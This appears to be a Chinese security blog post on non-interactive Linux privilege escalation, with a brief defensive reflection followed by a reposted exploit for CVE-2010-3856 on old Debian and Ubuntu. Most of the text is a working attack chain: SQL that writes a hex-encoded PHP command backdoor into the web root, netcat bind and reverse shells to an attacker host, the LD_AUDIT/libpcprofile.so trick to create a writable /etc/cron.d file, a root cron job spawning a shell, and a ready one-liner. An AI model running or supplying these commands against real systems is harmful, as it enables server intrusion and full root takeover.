在iptables限制非常严格的时候，无法走icmp udp tcp的bind shell或connect back shell，又需要本地提权，root了之后关闭iptables，看看能否绕过访问控制手段（当然了，如果别人是硬件的防火墙，下文解决不了问题）。在这一场景下，可以考虑参考下文的非交互式本地提权的方法，或许还有其他linux localroot exploit也能实现，实战出真知。
另外有些时候不一定非得root的，nobody，非交互也能做非常多的事。
作为防御一方，面对这种场景，我们是否得反思
1、防御手段要与被防御系统分离，即使成功root了，依然难以快速渗透
2、我们对localroot是否有足够的事前的免疫能力，事中的发现能力及事后的定损取证能力？
Debian <=5.0.6 /Ubuntu <=10.04 Webshell-Remote-Root
# Exploit Title: Debian <=5.0.6 /Ubuntu <=10.04 Webshell-Remote-Root
# Date: 24-10-2010
# Author: jmit
# Mail: fhausberger[at]gmail[dot]com
# Tested on: Debian 5.0.6
# CVE: CVE-2010-3856
--------------
| DISCLAIMER |
--------------
# IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
# POSSIBILITY OF SUCH DAMAGE.
---------
| ABOUT |
---------
Debian/Ubuntu remote root exploitation example (GNU dynamic linker DSO vuln).
See (). Should work on other linux
distros too.
--------------
| BACKGROUND |
--------------
Typically it isn't possible to use a suidshell or modify /etc/passwd directly after
webshell access (user nobody) to gain root access. But with the DSO vuln we can
launch commands as root and we can create a socket and connect to the user or setup
a bindshell.
-----------
| EXPLOIT |
-----------
After you have found a SQL-Injection vuln you can create a php backdoor. This is typically
possible with select into dumpfile/outfile statement. The values are a simple
<? passthru($_GET['c']); ?> backdoor.
---
DROP TABLE IF EXISTS `fm`;
CREATE TABLE `fm` (
`fm` longblob
) TYPE=MyISAM;
insert into fm (fm) values (0x3c3f20706173737468727528245f4745545b2763275d293b203f3e);
select fm from fm into dumpfile '/opt/lampp/htdocs/xampp_backup.php';
drop table fm;
flush logs;
---
Now you can connect to the server and create a connection with telnet, nc, write
binary with perl -e ' print "\x41\x42\x43\x44"', echo -en '\x41\x42\x43\x44', ...
If direct shell access isn't possible you can use phpcode to create your own
binary with php fwrite:
---
<?php $File = "/tmp/nc";
$Handle = fopen($File, 'w');
$Data = "\x41\x42\x43\x44";
fwrite($Handle, $Data);
fclose($Handle); ?>
---
Now use
Bind-Shell: ?c=nc -l -p 9999 -e /bin/bash
Reverse-Shell: ?c=/bin/nc attackerip 9999 | /bin/bash
in your webbrowser and connect to your shell
$ nc victimip 9999
id
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
---
Now lets exploit the DSO vuln. You need umask 0 for correct
rw-rw-rw creation of exploit /etc/cron.d/exploit
$ umask 0
This is the shellscript for the cron.d entry.
Bind-Shell: $ echo -e '/bin/nc -l -p 79 -e /bin/bash' > /tmp/exploit.sh
Reverse-Shell: $ echo -e '/bin/nc localhost 8888 | /bin/bash' > /tmp/exploit.sh
Now make your shellscript executable for cron:
$ chmod u+x /tmp/exploit.sh
Create rw-rw-rw file in cron directory using the setuid ping program:
$ LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="/etc/cron.d/exploit" ping
Launch every minute a suid root shell
$ echo -e '*/1 * * * * root /tmp/exploit.sh' > /etc/cron.d/exploit
Now you have a root shell every minute.
$ nc attackerip 79
id
uid=0(root) gid=0(root) groups=0(root)
-------------------
| EXPLOIT oneline |
-------------------
echo -e '/bin/nc -l -p 79 -e /bin/bash' > /tmp/exploit.sh;/bin/chmod 0744 /tmp/exploit.sh;umask 0;LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="/etc/cron.d/exploit" ping;echo -e '*/1 * * * * root /tmp/exploit.sh' > /etc/cron.d/exploit
